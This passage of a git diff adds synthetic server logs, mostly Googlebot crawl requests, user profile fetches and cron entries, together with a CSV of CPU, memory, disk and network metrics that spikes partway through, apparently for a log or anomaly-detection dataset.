+0000] "GET /article/833 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/742 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/664 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/365 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/12 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/694 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/649 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:50 +0000] "GET /article/187 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:50 +0000] "GET /article/932 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:50 +0000] "GET /article/63 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:50 +0000] "GET /article/933 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/318 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/570 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/534 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:50 +0000] "GET /article/57 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/457 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/706 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/841 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/297 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/793 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/103 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/959 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:50 +0000] "GET /article/159 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/87 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:50 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:50 +0000] "GET /article/656 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:55 +0000] "GET /article/183 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/212 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:55 +0000] "GET /article/718 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:55 +0000] "GET /article/538 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/539 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:55 +0000] "GET /article/659 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:55 +0000] "GET /article/480 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/19 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:55 +0000] "GET /article/434 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:55 +0000] "GET /article/16 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/802 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/222 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:55 +0000] "GET /article/813 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/383 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:55 +0000] "GET /article/276 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/633 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/613 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.1 - - [03/Jul/2025:10:04:55 +0000] "GET /article/3 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/358 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.75.13 - - [03/Jul/2025:10:04:55 +0000] "GET /article/951 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:04:55 web-server[4321]: 66.249.66.5 - - [03/Jul/2025:10:04:55 +0000] "GET /article/5 HTTP/1.1" 200 1524 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 03 10:05:00 web-server[4321]: 192.168.1.141 - - [03/Jul/2025:10:05:00 +0000] "GET /user/profile/15 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 03 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:20 web-server[4321]: 192.168.1.56 - - [03/Jul/2025:10:05:20 +0000] "GET /user/profile/15 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 03 10:05:40 web-server[4321]: 192.168.1.62 - - [03/Jul/2025:10:05:40 +0000] "GET /user/profile/35 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Jul 03 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:00 web-server[4321]: 192.168.1.102 - - [03/Jul/2025:10:06:00 +0000] "GET /user/profile/28 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Jul 03 10:06:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:20 web-server[4321]: 192.168.1.58 - - [03/Jul/2025:10:06:20 +0000] "GET /user/profile/26 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1" +Jul 03 10:06:40 web-server[4321]: 192.168.1.129 - - [03/Jul/2025:10:06:40 +0000] "GET /user/profile/16 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 03 10:06:40 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:00 web-server[4321]: 192.168.1.29 - - [03/Jul/2025:10:07:00 +0000] "GET /user/profile/37 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Jul 03 10:07:20 web-server[4321]: 192.168.1.94 - - [03/Jul/2025:10:07:20 +0000] "GET /user/profile/5 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_10.csv b/norm_dataset/scenario_8/norm_8_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..283dba52dba663b2f6b7435652fb51eaffff4dc1 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,18.47,41.94,34.75,0.98,0.72 +2025-07-02T12:00:05Z,15.62,43.75,20.31,1.3,0.67 +2025-07-02T12:00:10Z,14.1,38.17,24.99,1.21,0.93 +2025-07-02T12:00:15Z,16.09,39.62,35.31,0.71,1.48 +2025-07-02T12:00:20Z,13.83,44.27,39.07,0.69,0.64 +2025-07-02T12:00:25Z,13.54,39.35,36.39,0.96,1.23 +2025-07-02T12:00:30Z,18.03,40.48,26.99,1.26,1.01 +2025-07-02T12:00:35Z,14.82,37.95,26.18,1.0,0.95 +2025-07-02T12:00:40Z,11.07,43.93,22.4,1.28,1.35 +2025-07-02T12:00:45Z,11.73,44.21,31.85,0.53,1.36 +2025-07-02T12:00:50Z,11.86,43.56,36.09,0.67,0.77 +2025-07-02T12:00:55Z,11.85,44.84,22.25,1.48,1.48 +2025-07-02T12:01:00Z,16.29,40.4,34.76,0.96,1.09 +2025-07-02T12:01:05Z,10.26,37.89,21.47,1.26,0.68 +2025-07-02T12:01:10Z,14.91,37.11,29.27,0.88,0.97 +2025-07-02T12:01:15Z,11.29,38.5,20.65,1.23,1.0 +2025-07-02T12:01:20Z,19.01,41.73,28.99,1.37,1.34 +2025-07-02T12:01:25Z,14.27,40.74,36.99,0.56,0.97 +2025-07-02T12:01:30Z,12.18,35.3,34.35,1.46,0.97 +2025-07-02T12:01:35Z,14.83,38.71,29.87,0.78,1.3 +2025-07-02T12:01:40Z,80.97,49.11,82.3,8.41,11.3 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+2025-07-02T12:03:20Z,93.4,43.75,75.03,14.71,14.96 +2025-07-02T12:03:25Z,75.96,48.28,65.83,12.68,11.15 +2025-07-02T12:03:30Z,93.33,41.57,77.51,12.34,10.78 +2025-07-02T12:03:35Z,94.91,40.38,65.7,13.19,12.51 +2025-07-02T12:03:40Z,71.18,45.57,77.77,13.47,12.56 +2025-07-02T12:03:45Z,90.02,45.5,84.0,9.85,12.79 +2025-07-02T12:03:50Z,84.76,42.21,62.06,14.77,10.03 +2025-07-02T12:03:55Z,84.76,40.99,73.88,12.79,12.49 +2025-07-02T12:04:00Z,86.91,43.52,68.04,13.66,12.72 +2025-07-02T12:04:05Z,70.46,46.47,67.24,9.32,14.19 +2025-07-02T12:04:10Z,78.29,46.1,77.7,10.85,10.24 +2025-07-02T12:04:15Z,76.12,41.75,67.35,8.81,9.77 +2025-07-02T12:04:20Z,91.77,49.11,70.66,13.14,8.2 +2025-07-02T12:04:25Z,94.72,43.22,69.82,9.49,14.24 +2025-07-02T12:04:30Z,73.24,45.55,60.14,11.65,9.9 +2025-07-02T12:04:35Z,77.39,49.39,65.39,10.58,12.55 +2025-07-02T12:04:40Z,78.57,49.66,73.14,11.39,13.86 +2025-07-02T12:04:45Z,76.3,42.71,74.2,8.66,10.75 +2025-07-02T12:04:50Z,78.62,47.58,69.4,10.57,12.38 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[02/Jul/2025:12:00:18 +0000] "GET /api/v1/user/120 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:48 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:51 web-app[2233]: 151.196.58.23 - - [02/Jul/2025:12:00:51 +0000] "GET /api/v1/user/136 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:00:57 web-app[2233]: 131.242.28.86 - - [02/Jul/2025:12:00:57 +0000] "GET /api/v1/user/53 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:06 web-app[2233]: 220.225.32.40 - - [02/Jul/2025:12:01:06 +0000] "GET /api/v1/user/184 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:10 web-app[2233]: 112.194.152.209 - - [02/Jul/2025:12:01:10 +0000] "GET /api/v1/user/38 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:17 web-app[2233]: 74.122.200.81 - - [02/Jul/2025:12:01:17 +0000] "GET /api/v1/user/53 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:23 web-app[2233]: 144.170.167.8 - - [02/Jul/2025:12:01:23 +0000] "GET /api/v1/user/37 HTTP/1.1" 200 890 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Jul 02 12:01:40 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:01:40 +0000] "GET /products/item/9179 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:41 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:01:41 +0000] "GET /products/item/1658 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:41 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:01:41 +0000] "GET /products/item/5509 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:42 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:01:42 +0000] "GET /products/item/6844 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:42 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:01:42 +0000] "GET /products/item/8432 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:42 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:01:42 +0000] "GET /products/item/4489 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:43 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:01:43 +0000] "GET /products/item/8877 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:43 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:01:43 +0000] "GET /products/item/2546 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:45 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:01:45 +0000] "GET /products/item/4039 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:47 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:01:47 +0000] "GET /products/item/6488 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:47 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:01:47 +0000] "GET /products/item/3687 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:48 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:01:48 +0000] "GET /products/item/5043 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:01:48 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:01:48 +0000] "GET /products/item/6021 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 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web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:12 +0000] "GET /products/item/7837 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:13 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:13 +0000] "GET /products/item/7995 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:13 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:13 +0000] "GET /products/item/4915 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:13 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:13 +0000] "GET /products/item/9189 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:13 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:13 +0000] "GET /products/item/9263 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:15 +0000] "GET /products/item/3101 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:15 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:15 +0000] "GET /products/item/5691 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:16 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:16 +0000] "GET /products/item/6940 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:16 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:16 +0000] "GET /products/item/9813 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:17 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:17 +0000] "GET /products/item/7692 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:17 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:17 +0000] "GET /products/item/1922 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:17 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:17 +0000] "GET /products/item/7889 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:18 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:18 +0000] "GET /products/item/2577 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:18 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:18 +0000] "GET /products/item/7353 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:18 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:18 +0000] "GET /products/item/3148 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:20 +0000] "GET /products/item/3326 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:20 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:20 +0000] "GET /products/item/5982 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:21 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:21 +0000] "GET /products/item/6179 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:22 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:22 +0000] "GET /products/item/8757 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:22 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:22 +0000] "GET /products/item/1178 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:23 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:23 +0000] "GET /products/item/7796 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:23 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:23 +0000] "GET /products/item/5427 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:23 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:23 +0000] "GET /products/item/1053 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:25 +0000] "GET /products/item/8252 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:25 +0000] "GET /products/item/1090 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:25 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:25 +0000] "GET /products/item/5678 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:26 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:26 +0000] "GET /products/item/1533 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:26 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:26 +0000] "GET /products/item/6102 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:26 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:26 +0000] "GET /products/item/5478 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:27 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:27 +0000] "GET /products/item/5587 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:27 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:27 +0000] "GET /products/item/6998 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:27 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:27 +0000] "GET /products/item/3316 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:28 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:28 +0000] "GET /products/item/5464 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:30 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:30 +0000] "GET /products/item/5104 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:31 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:31 +0000] "GET /products/item/1500 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:31 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:31 +0000] "GET /products/item/9527 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:31 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:31 +0000] "GET /products/item/8389 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:32 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:32 +0000] "GET /products/item/2833 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:33 web-app[2233]: 66.249.66.5 - - [02/Jul/2025:12:05:33 +0000] "GET /products/item/5444 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:33 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:33 +0000] "GET /products/item/1665 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:33 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:33 +0000] "GET /products/item/2008 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2233]: 66.249.66.1 - - [02/Jul/2025:12:05:35 +0000] "GET /products/item/2558 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:05:35 web-app[2233]: 66.249.70.10 - - [02/Jul/2025:12:05:35 +0000] "GET /products/item/3116 HTTP/1.1" 200 1502 "-" "Googlebot/2.1 